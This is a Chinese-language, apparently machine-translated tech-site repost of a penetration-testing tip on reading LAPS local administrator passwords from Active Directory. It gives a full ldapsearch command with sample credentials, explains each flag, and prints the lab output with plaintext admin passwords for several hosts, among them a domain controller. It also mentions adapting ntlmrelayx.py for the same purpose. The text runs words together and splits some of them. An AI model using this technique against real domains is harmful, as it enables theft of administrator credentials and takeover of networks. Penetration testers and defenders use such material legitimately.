当前位置: 首页 > 科技观察

域渗透TIPS:获取LAPS管理员密码

时间:2023-03-17 18:05:21 科技观察

如果你之前在启用了LAPS机制的主机上进行过渗透测试,那么你应该能够体会到随机化该机制的本地管理员密码是多么痛苦。LAPS将其信息存储在ActiveDirectory中:存储密码到期时间:ms-Mcs-AdmPwdExpirationTime:131461867015760024明文存储密码:ms-Mcs-AdmPwd:%v!e#7S#{s})+y2yS#(LAPSInearlier版本,任何用户都可以读取活动目录的内容,幸运的是,微软已经修复了它。目前,你必须获得该对象的所有扩展权限或完全控制权限才能访问它。在复杂的真实环境中,内部有也可能是虚拟主机中隐藏的OU权限管理员,甚至是负责特定用户组的具有完全控制权限的标准用户。感谢Meatballs开发的Metasploit模块:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb帮助我们完成这项工作。但是我们总不能每次都打开一个Meterpretersession来运行这个模块吧?使用ldapsearch(包含在Debian/Ubuntu的ldapscripts包中)可用于构造与此模块相同的请求。以下是示例:ldapsearch-x-h192.168.80.10-D\"helpdesk"-wASDqwe123-b"dc=sittingduck,dc=info"\"(ms-MCS-AdmPwd=*)"ms-MCS-AdmPwd分析:-x–使用基本身份验证-h192.168.80.10–将ldap连接到域控制器-D“helpdesk”-wASDqwe123–以用户名helpdesk登录,密码ASDqwe123-b“dc=sittingduck,dc=info”–加载整个域的基本LDAP对象“(ms-MCS-AdmPwd=*)”——过滤掉所有无法查看的ms-MCS-AdmPwd值(只要你有足够的权限,你甚至可以获得管理员密码)ms-MCS-AdmPwd-仅显示ms-MCS-AdmPwd对象(默认包含对象名称和DN,因此您仍然可以知道主机隶属关系)运行如下:$ldapsearch-x-h192.168.80.10-D“helpdesk”-wASDqwe123-b“dc=sittingduck,dc=info”“(ms-MCS-AdmPwd=*)”ms-MCS-AdmPwd#extendedLDIF##LDAPv3#basewithscopesubtree#过滤器:(ms-MCS-AdmPwd=*)#requesting:ms-MCS-AdmPwd##DC1,DomainControllers,sittingduck.infodn:CN=DC1,OU=DomainControllers,DC=sittingduck,DC=infoms-Mcs-AdmPwd:2F1i/++N0H+G]{Y&,F#SDCLIENT_DAWIN7,LabComputers,Lab,sittingduck.infodn:CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=infoms-Mcs-AdmPwd:8CDR4,2UE8BA{zw2@RR#SD_WSUS_2012,LabComputers,Lab,sittingduck.infodn:CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=infoms-Mcs-AdmPwd:+3!UY5@g9B.64RV2z/T#WIN-PM0ID6F0AHN,LabComputers,Lab,sittingduck.infodn:CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=infoms-Mcs-AdmPwd:%v!e#7S#{s})+y2yS#(#searchreferenceref:ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info#searchreferenceref:ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,DC=info#searchreferenceref:ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,DC=info#searchreferenceref:ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info#searchresultsearch:2result:0成功获取本地管理员密码,但未确认账户是否启用,可以使用Curb用于身份验证的eros由于Windows中的域控制器不需要LDAP连接的证书验证(据我所知),您只需在ntlmrelayx.py中进行一些小的更改即可转储LAPS密码。